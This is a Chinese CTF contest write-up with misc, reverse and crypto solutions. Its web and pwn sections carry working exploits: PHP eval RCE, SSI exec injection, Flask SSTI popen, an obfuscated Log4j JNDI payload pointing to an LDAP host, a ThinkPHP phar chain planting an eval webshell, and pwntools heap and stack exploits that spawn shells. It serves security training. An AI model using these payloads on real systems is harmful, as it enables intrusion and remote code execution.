2021长安“战疫”网络安全卫士守护赛Wp
Misc 【八卦迷宫】 按照迷宫走然后取拼音即可
flag如下
1 cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}
【朴实无华的取证】 首先查看版本 imageinfo得到WinXPSP2x86
然后pslist,注意
然后
发现目录是桌面而并非Desktop,重新filescan一下,导出有用信息
首先zip的密码是上面说的20211209
其次,得到的txt是加密函数,而密文在flag.png上。反过来写一个脚本
于是有了这个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 s = 'fdcb[8ldq?zloo?fhuwdlqob?vxffhhg?lq?iljkwlqj?wkh?hslghplf]' for i in s: if(ord(i)>=ord('a') and ord(i)<=ord('w')): print(chr(ord(i)-3),end='') elif(i == 'a'): print('x',end='') elif(i == 'b'): print('y',end='') elif(i == 'c'): print('z',end='') elif(i == "|"): print('_') else: print(chr(ord(i)+32),end='') #ca`_{Xian_šill_certainl__s˜cceed_in_fighting_the_epidemic}
查了一下certainl后面应该还有个y
然后前面那个单词是will,后面那个单词是succeed,于是得到flag提交正确
1 cazy{Xian_will_certainly_succeed_in_fighting_the_epidemic}
【无字天书】 导出HTTP流,在导出的其中两个文件发现hex串,都是很明显的zip,hex–>ascii,得到zip,打开zip得到两文件,一个key.ws一个flag.txt
ws很明显的whitespace,直接https://vii5ard.github.io/whitespace/得到key:XiAnWillBeSafe
然后flag.txt很明显的SNOW
.\SNOW.EXE -p XiAnWillBeSafe -C .\flag.txt
【西安加油】 查看流量包发现大量的base64串,导出http发现secret.txt,base64解码发现是zip,保存后打开发现是拼图
因为不知道大小,所以猜了一个12*4
命令montage *png -tile 12x4 -geometry 100x100+0+0 out2.png
然后用gaps
python3 gaps –image=out2.png –generations=10 –population=48 –size=100 –save
【ez_Encrypt】 压缩包存在密码,查看注释可以得知密码为6位数字
找到工具爆破一下压缩包得到密码为220101
解压后首先看到steg.pyc
,可以想到Pyc字节码隐写,找到https://github.com/AngelKitty/stegosaurus
后对pyc文件的隐藏文本进行提取:
得到:TheKey:St3g1sV3ryFuNny
然后再去https://aghorler.github.io/emoji-aes/
对Emjio.txt
中的表情进行AES解码,密钥为St3g1sV3ryFuNny
,得到flag:
【binary】 不知道是什么文件,用file识别知道是java程序
file 234
无法反编译,cat发现class名字是Main.class
,所以把文件名改成Main.class
用jdgui反编译
可以看到一个数组,提取出来,转换成ascii得到
可以看到是base64,解密得到
可以看到10之间夹杂着很多\n,于是打印出来复制到sublime,看起来是一个正方形,猜测是二维码,写脚本生成二维码
Python
1 2 3 4 import numpy as np import cv2 a="0000000101110000000011111101110000000011111010110101011111000111011011111001000101000011110001110101101101000100100010110000011000111000001010100010010001011101101100110110101111010001001111101011101000000010010000101111100000000101010101010101010101010000000111111110010000000010011001111111111111000101010100001011111101000000110000101101000110010010000100110101011101101100000100111100110001101000001001011101111111100101011010001101010111001010110001110000000110100000000000010011010100100010001101110101110111110100101001001111111011100001100101000100010001101110110110011001100110011101111010011000111111101101001100000001000001110101000111000001011011111101111101100110101101001100010100110000100010100100111100100000100111001001011101010100110001110001100100000101010001001101111101110110010011111101011101110110001011100000010111011000101101000110010001111011000111101001001111010101000001110101110110101111110100010010101101100100100000011010001001111101101000100011100101100110111110011000111001111100000010110110111001111100010011001011001010001011101100000000011111111010110011100111001010111010110000000111000111011010110001010100100011111011100110101011010110001110111101000101001100001100110100000000000100100010101111101100011111111110100111010001010110111111110000001010101011001111101111110001011010011110001101100000000111111011110110000000100011000" cv2.imwrite("1.png",np.array([i for i in a]).astype(int).reshape(37,37)*255)
识别二维码
【pipicc】 可以看到 327006.bmp 中有一片噪点,猜测是对像素点有所修改,用 010editor 打开,可以在 BITMAPLINE 结构中看到 IHDR 头,看不见 png 头,手动补上.
补上以后
找到IEND块,手动提取出png文件
得到1.png
用stegsolve打开1.png提取低位数据,在蓝色的低位可以看到
d9ff,联想到jpg的文件尾,但是是倒序的,save bin提取出来得到1.bin
保存得到1.bin
搜索 d8 ff,从第一个d8 ff 开始 删掉后面的内容,然后倒序,可以用010editor的script里的stringreverse
得到jpg图片
Reverse 【lemon】 题目参考2021hitcon的re题出的lemon语言的字节码,这是官网http://www.lemon-lang.org/documentation作为签到题 没有任何算法只需简单的还原字节码跑一下程序就能出flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 var q=[65,69,83]; var w=[113,105,117,113,105,117,108,101,98,105,101,122,117,111,108,101]; var e=0; var a=[]; while(e<256){ a.append(e); e=e+1; } var c=0; while(c<256){ a[c]=(a[c]+q[c%3]+w[c%16])%256; c=c+1; } var i=0; while(i<3){ var j=0; while(j<256){ a[j]=a[j]^a[(j+1)%256]; j=j+1; } var p=0; while(p<256){ a[p]=(a[p]+1)%256; p=p+1; } i=i+1; } i=0; var n=0; while(i<256){ n=n+a[i]; i=i+1; } n=n*20+5; n=n*30-5; n=n*40-5; n=n*50+6645; print(n);
【hello_py】 pyc反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 flag=[44, 100, 3, 50, 106, 90, 5, 102, 10, 112] j=0 for i in flag: if j%2==0: flag[j]=flag[j]^flag[j+1] j+=1 else: flag[j]=flag[j]^j j+=1 for i in range(len(flag)): flag[i]=chr(flag[i]) flagstr='' flagstr=''.join(flag) print(flagstr)
【combat_slogan】 jdgui打开看main就看见加密的flag了,上面函数明显的rot13
在线rot13解一下就行了,然后套上flag{}
1 flag{We_w11l_f1ght_t0_end_t0_end_cazy}
【cute_doge】
IDA打开ctf1.exe,搜字符串,看见ZmxhZ3tDaDFuYV95eWRzX2Nhenl9
base64解码就是flag
【SafeIM】 本题构造了一个封包(PACKET 结构体):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 typedef struct _CHARTDATAINFO { DWORD DataType : 2; // Data type(e.g. text, picture...) DWORD DataLen : 30; // Data length union { DWORD Src; // Source(group/private) DWORD Dst; // Destination(group/private) } Type; union { char Src[20]; // Source nick name(if private) char Dst[20]; // Destination nick name(if private) } Name; } CHARTDATAINFO, * PCHARTDATAINFO; typedef struct _PACKET { union { DWORD Request; // Requset type(e.g. login, logout...) DWORD Reply; // Reply type(e.g. login success, message arrive...) } Type; CHARTDATAINFO DataInfo; // Data information BYTE SessionKey[16]; // Session key // Raw Data } PACKET, * PPACKET;
发送消息之前的核心加密逻辑(位于 SafeTcpClient::ClientPack ):
psk 已知,SessionKey 在 PACKET.SessionKey 可以拿到,不过这个 SessionKey 是被 XorSessionKey 函数处理过的,再用这个函数处理一下就能得到原来的 SessionKey,用还原后的 SessionKey 作为 iv,psk 作为 key,就能用标准 sm4 解密函数来解密 RawData
不过需要注意,客户端与服务端之间的通信使用 SSL 加密,需要用 wireshark 加载 server\certs\server.key
,将应用层的解密数据拿出来
这里我把流量包中所有解密后的 Application Data 都存到 decrypted.txt 中,然后写脚本将聊天的内容 dump 出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 import os import sm4 import struct user_name = '' output_dir = os.path.join(os.path.dirname(__file__), "dump") class Packet(object): def __init__(self, raw: bytes): self.raw_message = raw[48:] self.meta_info = self.parse_meta_info(raw[:48]) self.sm4_key = b"Dem0_wants_girls" self.sm4_iv = self.recovery_iv(self.meta_info["enc_session_key"]) def __str__(self): global user_name format_output = '' meta_info = self.meta_info plain = sm4.SM4Key(self.sm4_key).decrypt(self.raw_message, self.sm4_iv) re_type = meta_info["re_type"] if re_type == 0: if len(plain): user_name = self.parse_text(plain) format_output += f"[Login Request]\n\tUser `{user_name}` is trying to login" else: format_output += f"[Login Reply]\n\tUser `{user_name}` login SUCCESS" elif re_type == 1: format_output += f"[Logout]\n\tUser `{user_name}` logout" elif re_type == 2: msg_type = meta_info["msg_type"] format_output += f"[Message from {meta_info['src_nick_name']}]\n\t" if msg_type == 1: format_output += "TEXT: " + self.parse_text(plain) elif msg_type == 2: if plain[:3] == b"\xFF\xD8\xFF": ext = "jpg" elif plain[:4] == b"\x89\x50\x4E\x47": ext = "png" format_output += f"PICTURE: a {ext} file" elif re_type == 4: format_output += '[Online Users]\n\t' for i in range(len(plain)//20): if i != 0: format_output += ", " format_output += self.parse_text(plain[i*20:(i+1)*20]) format_output += '\n' return format_output def parse_meta_info(self, raw_head: bytes) -> dict: assert len(raw_head) == 48, "meta information data length should be 48 bytes" re_type, = struct.unpack("<I", raw_head[:4]) bit_merged, = struct.unpack("<I", raw_head[4:8]) msg_type = bit_merged & 0b11 msg_len = bit_merged >> 2 dst_user_type, = struct.unpack("<I", raw_head[8:12]) src_nick_name = self.parse_text(raw_head[12:32]) enc_session_key = raw_head[32:] return dict( msg_type=msg_type, msg_len=msg_len, re_type=re_type, enc_session_key=enc_session_key, dst_user_type=dst_user_type, src_nick_name=src_nick_name ) def dump(self, idx: int): assert self.meta_info["msg_len"] == len(self.raw_message), "broken packet" msg_type = self.meta_info["msg_type"] plain = sm4.SM4Key(self.sm4_key).decrypt(self.raw_message, self.sm4_iv) if msg_type == 0: pass elif msg_type == 1: file_name = os.path.join(output_dir, f"{idx}.txt") with open(file_name, 'w') as f: f.write(self.parse_text(plain)) elif msg_type == 2: if plain[:3] == b"\xFF\xD8\xFF": ext = "jpg" elif plain[:4] == b"\x89\x50\x4E\x47": ext = "png" file_name = os.path.join(output_dir, f"{idx}.{ext}") with open(file_name, 'wb') as f: f.write(plain) @staticmethod def parse_text(raw: bytes) -> str: for idx, c in enumerate(raw): if c == 0: return raw[:idx].decode() return raw.decode() @staticmethod def recovery_iv(raw_key: bytes) -> bytes: key = b"" for i in range(4): dword, = struct.unpack("<I", raw_key[i*4:(i+1)*4]) ori = dword ^ ((i + 1) * 0x520C37 & 0xFFFFFFFF) key += ori.to_bytes(4, "little") return key def main(): with open("decrypted.txt") as f: raw_data = f.read().split('\n') if not os.path.exists(output_dir): os.mkdir(output_dir) for idx, raw in enumerate(raw_data): packet = Packet(bytes.fromhex(raw)) packet.dump(idx) print(packet) if __name__ == '__main__': main()
查看 dump 文件夹,flag 是由图片和纯文本构成的:
从编号 5 到 42都是 flag 的字符,按顺序拼接起来得到 flag
Web 【RCE_No_Para】 源码:
查看可以利用的全局变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 array(4) { ["_GET"]=> array(1) { ["code"]=> string(29) "var_dump(get_defined_vars());" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } }
通过$_GET传参进行rce
payload:
1 ?1=system('tac flag.php');&code=eval(current(current(get_defined_vars())))
如下:
【Baby_Upload】 预想中图片什么的是可以正常上传的,但是后来加了对文件内容的检测,过滤了一些符号,忘了图片中也会有那些符号了,结果最后就导致图片也没办法上传,不过不会影响正常解题,过滤了ph,ini,htaccess
,绕过不去,可以shtml
来利用SSI注入RCE,但是过滤了很多命令
ls
被过滤可以使用dir
来列目录:
<!--#exec cmd="dir /"-->:
上传此文件,如下图所示:
接着会出现目录下的文件
很明显有flag,但是cat,tac,nl等等读文件的命令都没了,测了一下还有awk,cut,strings。因为fl被过滤了,可以用 ?来匹配,可以构造出:
1 <!--#exec cmd="cut -b 1-100 /ffffff?llll11111aaaaa4444ggggg"-->
来读取文件,存为2.shtml
后上传
获得flag。
【flask】 访问主页发现注释中有提示
/admin /static.js 一段python代码 此段代码为后端的URL Filter 当请求js类静态文件时不需要认证,而在请求其他路径时则会被重定向到login 在flask的官方文档中
在请求http://localhost/admin?test=123
而请求/admin;xxx=1&test=123
对request.path
来说其值为/admin;xxx=1
并没有把path parameter
去掉,在代码中的判断使用的是request.full_path
而在request.full_path
中是包含了query string
因此只要发起这样的请求:随意增加一个参数,并且参数值是以.js?结尾即可绕过校检/admin?xxx=.js?
这里不能用;
的原因是request.path
并没有去掉 path parameter
在没有带上query string
的情况下full_path:/admin;x=.js?
满足.js?
而request.path:/admin;x=.js
路由表中没有admin;x=.js
从而404
进入之后就是常规的ssti绕沙箱
1 2 3 4 5 aa:__class__ bb:__mro__ cc:__subclasses__ dd:__init__ ee:__globals__
((((request|attr(request.cookies.get('aa'))|attr(request.cookies.get('bb'))|list).pop(-1)|attr(request.cookies.get('cc'))()).pop(117)|attr(request.cookies.get('dd'))|attr(request.cookies.get('ee'))).get('popen')('ls').read())
【Shiro?】 虽然登录界面伪造了一个shiro反序列化漏洞,但是实际漏洞点是在登录处的log4j2RCE漏洞。起一个ldap服务用于加载恶意类。运行环境Java版本较高需要bypass,即可正常攻击,可利用JNDIExploit工具进行攻击。用{::-n}等规则替换关键字和ip地址即可绕过规则, 也可用woodpecker生成payload, 在登录点username处输入payload即可
1 2 3 ${${kBQ:aUR:j:-j}${MoYvsH:XAND:kG:-n}${EdAUxY:ck:pyjko:RIasA:-d}${hNhKmh:E:c:-i}${l:MLjM:-:}${qvO:STYFpz:ufnqW:V:-l}${G:mIWH:-d}${er:WLe:J:Pl:kCih:-a}${yHjTcA:FM:e:IktQAC:-p}${bvaWm:WW:-:}${kB:hGD:GPI:-/}${GC:VOUh:dqINYx:FK:n:-/}${v:KHSOc:-1}${Li:-9}${QtYkc:o:CQBzJl:D:-2}${KmJs:oJznyf:oIDrB:zmdK:-.}${F:ttejsH:k:rI:-1}${gN:-6}${tB:aJqxS:-8}${arq:J:wcas:d:-.}${rh:Rcz:-2}${z:Gvz:-.}${F:-2}${IsgAtf:-3}${CPsF:QRLx:dICC:rMp:-8}${o:Kk:hmhWl:XjIbnJ:-:}${kp:-1}${PeOoN:Y:mIFi:-3}${P:-8}${YMhc:EJ:uD:Wwytb:-9}${OLPfY:YTvJf:m:OXdV:-/}${rf:Uagil:PDiuPH:-T}${PBKgU:NhAyi:MpIN:-o}${awgT:-m}${aS:TCt:xnzwfF:UNaIr:Ppp:-c}${II:kNl:uHtTJi:WXfR:UjzJC:-a}${jBHdVl:PB:-t}${bkgfV:sYiJoF:uBIIDN:-B}${WROI:-y}${U:F:GAnUD:-p}${nQMY:-a}${yqYF:-s}${cVWi:rs:NFv:f:wmqbfG:-s}${XjHqnt:sP:uSjj:dWkcba:njEm:-/}${CY:-T}${qeW:-o}${tLipT:GjC:YGc:-m}${WmRvEy:pIxR:ur:LroYD:woOzUb:-c}${ye:d:sR:NsdI:-a}${OyXQBo:KSC:blRvH:iMLj:DxG:-t}${MOGEk:VnN:-E}${nxrEv:dKbcF:iEWJOf:-c}${Jd:GTm:rJ:KsWYpp:oz:-h}${UjBT:hMh:-o}} ${j${iqV:xQtVwM:-n}d${WnFLI:-i}${j:YxXkbc:QpCi:k:QA:-:}${tuNJ:pa:vDTPc:-l}dap:${mxyDc:-/}/${X:A:wJfVUX:-1}${u:si:TmOs:-9}2${x:DGbnfN:-.}${h:Ga:H:Gmiv:zYQf:-1}6${dqV:KYvLFD:Edfgq:HzKoK:-8}${KNzKwB:IEJiU:-.}${QMgb:NTVFr:gM:-2}.2${VPb:kgVqX:vMNFgF:EV:iyt:-3}8:1${nOhh:uTaV:TlMnJ:J:FM:-3}${zUKT:mVGhb:RHbf:ypvu:-8}${y:bPcT:g:Ya:-9}${EDXJQ:Eetclr:oSVeHz:J:-/}To${GbLFYe:UpYi:-m}cat${UaV:Mo:Fu:UDboa:ePDD:-B}${uzqh:O:lxU:UFRpQk:gGbqT:-y}p${l:pJeje:P:s:vjiPI:-a}${LCJ:vM:Ebt:LJmS:-s}${pXuvuL:oWk:kXTgAe:kml:-s}${WbhDYc:u:Ne:Slcje:-/}${M:-T}omc${kBm:V:iVQ:-a}${cYCt:-t}${iGHgwi:I:-E}cho}
【Flag配送中心】 HTTPoxy漏洞(CVE-2016-5385)
VPS上监听对应端口后,在HTTP请求包中添加Proxy头:
即可监听到Flag
【tp】 thinkphp5.0.24
反序列化
通过网上poc
生成phar
文件后,上传
然后变量覆盖,传入:?FILES\[file\]\[name\]=phar://【上传的phar 文件名】
触发phar
反序列化,生成webshell
生成phar 的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 namespace think\process\pipes { class Windows { private $files = []; public function __construct($files) { $this->files = [$files]; } } } namespace think { abstract class Model{ protected $append = []; protected $error = null; public $parent; function __construct($output, $modelRelation) { $this->parent = $output; $this->append = array("xxx"=>"getError"); $this->error = $modelRelation; } } } namespace think\model{ use think\Model; class Pivot extends Model{ function __construct($output, $modelRelation) { parent::__construct($output, $modelRelation); } } } namespace think\model\relation{ class HasOne extends OneToOne { } } namespace think\model\relation { abstract class OneToOne { protected $selfRelation; protected $bindAttr = []; protected $query; function __construct($query) { $this->selfRelation = 0; $this->query = $query; //$query指向Query $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量 } } } namespace think\db { class Query { protected $model; function __construct($model) { $this->model = $model; //$this->model=> think\console\Output; } } } namespace think\console{ class Output{ private $handle; protected $styles; function __construct($handle) { $this->styles = ['getAttr']; $this->handle =$handle; //$handle->think\session\driver\Memcached } } } namespace think\session\driver { class Memcached { protected $handler; function __construct($handle) { $this->handler = $handle; //$handle->think\cache\driver\File } } } namespace think\cache\driver { class File { protected $options=null; protected $tag; function __construct(){ $this->options=[ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../../../../../../../../../../var/www/html/', 'data_compress' => false, ]; $this->tag = 'xxx'; } } } namespace { $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File()); $Output = new think\console\Output($Memcached); $model = new think\db\Query($Output); $HasOne = new think\model\relation\HasOne($model); $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne)); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($window); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); }
Crypto 【LinearEquations】 1 2 3 4 5 6 7 8 9 10 11 12 from Crypto.Util.number import* data = [2626199569775466793, 8922951687182166500, 454458498974504742, 7289424376539417914, 8673638837300855396] n = 10104483468358610819 t = [] for i in range(4): t.append(data[i+1] - data[i]) a1 = (t[2] * inverse(t[0], n) - t[3] * inverse(t[1],n)) * inverse( (t[1]*inverse(t[0],n)-t[2]*inverse(t[1],n)) ,n) % n b1 = (t[3] - a1 * t[2])* inverse(t[1],n) % n c1 = (data[2] - data[1]*a1-data[0]*b1) % n print(b'cazy{' + long_to_bytes(a1) + long_to_bytes(b1) + long_to_bytes(c1) + b'}') #cazy{L1near_Equ4t1on6_1s_34sy}
【no_can_no_bb】 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from Crypto.Util.number import long_to_bytes from Crypto.Cipher import AES from tqdm import tqdm c = b'\x9d\x18K\x84n\xb8b|\x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q\x96e\x9e\xb8MQ\xd5\xc3\x1c' def pad(m): tmp = 16-(len(m)%16) return m + bytes([tmp for _ in range(tmp)]) def decrypt(c,key): aes = AES.new(key,AES.MODE_ECB) return aes.decrypt(c) for i in tqdm(range(1,1<<20)): key = pad(long_to_bytes(i)) m = decrypt(c,key) if b'cazy{' in m: print(m) #cazy{n0_c4n,bb?n0p3!}
【no_cry_no_can】 1 2 3 4 5 6 7 8 9 10 11 12 def can_encrypt(flag,key): block_len = len(flag) // len(key) + 1 new_key = key * block_len return bytes([i^j for i,j in zip(flag,new_key)]) def brute_decrypt(cip): key = bytes([i^j for i,j in zip(cip,b'cazy{')]) print(can_encrypt(cip,key)) c = b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l' m = brute_decrypt(c) #cazy{y3_1s_a_h4nds0me_b0y!}
【no_math_no_cry】 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from Crypto.Util.number import* def dec(c): left = 0 right = 1<<500 for i in range(1000): tmp = (left + right)//2 cip = (tmp - (1<<500))**2 + 0x0338470 if c > cip: right = tmp else: left = tmp return tmp c = 10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169 m = long_to_bytes(dec(c)) print(m) #cazy{1234567890_no_m4th_n0_cRy}
【math】 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from Crypto.Util.number import long_to_bytes import gmpy2 y=int("0x63367a2b947c21d5051144d2d40572e366e19e3539a3074a433a92161465543157854669134c03642a12d304d2d9036e6458fe4c850c772c19c4eb3f567902b3",16) x=int("0x79388eb6c541fffefc9cfb083f3662655651502d81ccc00ecde17a75f316bc97a8d888286f21b1235bde1f35efe13f8b3edb739c8f28e6e6043cb29569aa0e7b",16) ct=int("0x5a1e001edd22964dd501eac6071091027db7665e5355426e1fa0c6360accbc013c7a36da88797de1960a6e9f1cf9ad9b8fd837b76fea7e11eac30a898c7a8b6d8c8989db07c2d80b14487a167c0064442e1fb9fd657a519cac5651457d64223baa30d8b7689d22f5f3795659ba50fb808b1863b344d8a8753b60bb4188b5e386",16) e=int("0x10005",16) d=int("0xae285803302de933cfc181bd4b9ab2ae09d1991509cb165aa1650bef78a8b23548bb17175f10cddffcde1a1cf36417cc080a622a1f8c64deb6d16667851942375670c50c5a32796545784f0bbcfdf2c0629a3d4f8e1a8a683f2aa63971f8e126c2ef75e08f56d16e1ec492cf9d26e730eae4d1a3fecbbb5db81e74d5195f49f1",16) kn = e * d - 1 count = 0 def solve(a, b, c): D = b ** 2 - 4 * a * c assert gmpy2.is_square(D) x1 = (-b + gmpy2.isqrt(D)) // (2 * a) x2 = (-b - gmpy2.isqrt(D)) // (2 * a) return x1, x2 for k in range(3, e): if kn % k == 0: count += 1 phi_n = kn // k a = x - 1 b = x * y - 1 + (x - 1) * (y - 1) - phi_n c = (y - 1) * (x * y - 1) try: k1, k2 = solve(a, b, c) if (x * y - 1) % k1 == 0: k2 = (x * y - 1) // k1 elif (x * y - 1) % k2 == 0: k1, k2 = k2, (x * y - 1) // k2 else: assert False p, q = x + k2, y + k1 N = p * q flag = long_to_bytes(pow(ct, d, N)).strip() break except AssertionError: pass print(flag)
PWN 【pwn1】 pwn签到题,唯一有点坑就是在出函数时并不仅仅是leave;ret,而是多出了两行汇编代码。因此需要我们分析和调试一下。
exp
1 2 3 4 5 6 7 from pwn import * io=process('pwn1') io.recvuntil(":") stack = int(io.recv(10),16) gdb.attach(io) io.sendline('a'*0x30+p32(0x8048540)+p32(stack+0x34)) io.interactive()
【pwn2】 libc-2.27的off-by-one,细心一点就能发现for循环这块会让我们多输入一个字节。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import * io=process('./pwn2') elf=ELF('./pwn2') libc=elf.libc #libc=ELF('./libc-2.27.so') context.log_level='debug' def add(size,content): io.sendlineafter('Choice: ','1') io.sendlineafter('size: ',str(size)) io.sendafter('content: ',content) def edit(index,content): io.sendlineafter('Choice: ','2') io.sendlineafter('idx: ',str(index)) io.sendlineafter('content: ',content) def dele(index): io.sendlineafter('Choice: ','3') io.sendlineafter('idx: ',str(index)) def show(index): io.sendlineafter('Choice: ','4') io.sendlineafter('idx: ',str(index)) def exp(): add(0xf8,'f1ag\n')#0 add(0xf8,'f1ag\n')#1 add(0xf8,'f1ag\n')#2 add(0xf8,'f1ag\n')#3 add(0x18,'f1ag\n')#4 dele(2) add(0xf8,'a'*0xf0+p64(0x300)+'\n')#2 for i in range(7): add(0xf8,'a\n')#5~11 for i in range(7): dele(11-i) dele(0) gdb.attach(io) dele(3) for i in range(7): add(0xf8,'f1ag\n')#0,3,5~9 add(0xf8,'f1ag\n')#10 show(1) malloc_hook = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-16 libc_base = malloc_hook - libc.symbols['__malloc_hook'] print('libc_base',hex(libc_base)) free_hook = libc.symbols['__free_hook'] + libc_base system = libc.symbols['system'] + libc_base add(0xf8,'f1ag\n')#11=1 dele(1) edit(11,p64(free_hook-8)+'\n') add(0xf8,'f1ag\n')#1 add(0xf8,'/bin/sh\x00'+p64(system)+'\n')#12 dele(12) io.interactive() exp()
【pwn3】 这个题利用的是strcpy、strcat等一些对字符串操作的函数的漏洞,当他们复制字符串的时候会把字符串的最后一个字节\x00给带上,极容易造成off-by-null漏洞。而这个题的漏洞点正在于此,\x00正好将存放长度的地址覆盖置0,就可以将长度的值改写为一个很大的值,打败boss进入到奖励函数中。
因为有exit函数,很容易联想到打exit_hook。[exit_hook的知识点]( PWN学习—exit_hook-偷家 - BlackBird’s Blog (blackbird-bb.github.io) ) 参考这位西电大佬写的博客,然后直接打onegadget就ok了。在打one_gadget的时候正常出来的四个gadget不能打通,这时候在one_gadget后加上-l2可以找到更多的gadget。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import * #io=process('./Gpwn3') io=remote('127.0.0.1',10002) elf=ELF('./Gpwn3') libc=ELF('./libc-2.23.so') context.log_level='debug' def create(description): io.sendlineafter('choice:','1') io.sendafter(' level :\n',description) def power(description): io.sendlineafter('choice:','2') io.sendafter('another level :',description) def beat(): io.sendlineafter('choice:','3') def give_up(): io.sendlineafter('choice:','4') def exp(): create('a'*35+'\n') power('a') power('\xff\xff\xff\xff') beat() io.recvuntil('reward: ') puts=int(io.recv(14),16) libc_base=puts-libc.symbols['puts'] print('libc_base',hex(libc_base)) system=libc_base+libc.symbols['system'] binsh=libc_base+libc.search('/bin/sh').next() dl_rtld_unlock_recursive = libc_base+0x5f0040+3856 gadget=[0x45226,0x4527a,0xf03a4,0xf1247,0xcd173,0xcd248,0xf03b0,0xf67f0] #gdb.attach(io) io.sendafter('your name:',p64(dl_rtld_unlock_recursive)) io.sendafter('for you!',p64(gadget[7]+libc_base)) io.interactive() exp()
【pwn4】 这个题有个小问题,忘了在add函数后加break跳出switch,因此有师傅修switch时修不出来add,只能看汇编代码,在这里和各位师傅道个歉。
此题的漏洞在free时没有对指针置0,libc-2.31的uaf。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import * io=process('./pwn4') elf=ELF('./pwn4') libc=elf('./libc-2.31.so') context.log_level='debug' def add(index,name,key,value): io.sendlineafter('Your choice: ','1') io.sendlineafter('Your index: ',str(index)) io.sendlineafter('Enter your name: ',name) io.sendlineafter('Please input a key: ',key) io.sendlineafter('Please input a value: ',str(value)) def show(index): io.sendlineafter('Your choice: ','2') io.sendlineafter('Your index: ',str(index)) def edit(index,name,length,key,value): io.sendlineafter('Your choice: ','3') io.sendlineafter('Your index: ',str(index)) io.sendlineafter('Enter your name: ',name) io.sendlineafter('New key length: ',str(length)) io.sendlineafter('Key: ',key) io.sendlineafter('Value: ',str(value)) def dele(index): io.sendlineafter('Your choice: ','4') io.sendlineafter('Your index: ',str(index)) def exp(): add(0,'f1ag','a'*0x417,0) add(1,'f1ag','a'*0x3c7,1) dele(0) show(0) malloc_hook = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 96 -16 libc_base = malloc_hook - libc.symbols['__malloc_hook'] print('libc_base',hex(libc_base)) free_hook = libc.symbols['__free_hook'] + libc_base system = libc.symbols['system'] + libc_base add(2,'f1ag','a'*0x57,2) add(3,'f1ag','a'*0x57,3) dele(3) dele(2) #gdb.attach(io) edit(1,'f1ag',8,'/bin/sh\x00',1) edit(2,'f1ag',6,p32((free_hook-0x51)&0xffffffff)+p16(((free_hook)>>32)&0xffff),2) add(4,'f1ag','a'*0x51+p32((system)&0xffffffff)+p16(((system)>>32)&0xffff),'4') #add(6,'f1ag',p64(system),5) dele(1) io.interactive() exp()